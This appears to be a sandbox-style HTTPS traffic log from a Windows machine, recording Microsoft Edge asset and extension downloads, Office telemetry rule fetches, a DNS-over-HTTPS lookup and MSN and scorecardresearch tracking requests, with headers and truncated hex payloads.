2024-11-27 23:19:47 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:48 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:47 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231947Z-174f7845968j6t2phC1EWRcfe80000000xqg00000000frr0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 23:19:48 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49872	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:47 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:48 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:48 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231948Z-174f7845968glpgnhC1EWR7uec0000000xp000000000qgb4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:48 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49857	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:48 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:48 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231948Z-174f7845968pght8hC1EWRyvxg00000000n000000000pt35 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 23:19:48 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49876	23.49.251.229	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733354386&P2=404&P3=2&P4=BtBdn8uaJpXxnjpjNV1hZuyrH9wEgLtKeM8v0TFvq4EK9YcnmyF7PlE0YIM%2bWPBvIWpUlga%2bnQro%2f7Y3Wadb5w%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 2YWW10yeedvZRWwRDQ5yQ2 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:48 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 2930c8e5-287d-4257-b9a7-444c1ded5fc7 MS-RequestId: b2619437-20f4-469c-ba18-3c7d63b759e7 MS-CV: kqcP+fM2pN4MhXzFIwDOWK.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86377 Date: Wed, 27 Nov 2024 23:19:48 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.1.97.101,b=2480663084,c=g,n=US_NJ_EDISON,o=20940],[c=c,n=US_NJ_EDISON,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.65610117.1732749588.93dbea2c Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-27 23:19:48 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231948Z-174f7845968qj8jrhC1EWRh41s0000000xng000000001r6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 953c006d-601e-0070-3311-41a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231948Z-174f7845968pght8hC1EWRyvxg00000000r000000000d4db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91facc7f-401e-0064-1f3e-4054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231948Z-174f7845968kdththC1EWRzvxn00000009yg00000000b2g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:48 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231949Z-174f7845968nxc96hC1EWRspw80000000xbg0000000093se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49834	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-11-27 23:19:49 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d864bf43c327-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:49 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d eb 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 17 00 02 c0 43 c0 43 00 01 00 01 00 00 00 17 00 04 cc 4f c5 ef c0 43 00 01 00 01 00 00 00 17 00 04 0d 6b 15 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0CCOCk)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49880	108.139.47.92	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	925	OUT	GET /b?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:49 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 27 Nov 2024 23:19:49 GMT Location: /b2?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=10349fc1f4335dafac1bab41732749589; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=10349fc1f4335dafac1bab41732749589; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 aea539314dea6e591d10d79d61e42090.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: hU3XUoytUZNT49roHX6rt0yU2UkPV-fu9FlhdS8z_yUGU-NzK-onkA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49878	20.42.65.91	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749586778&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3735 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
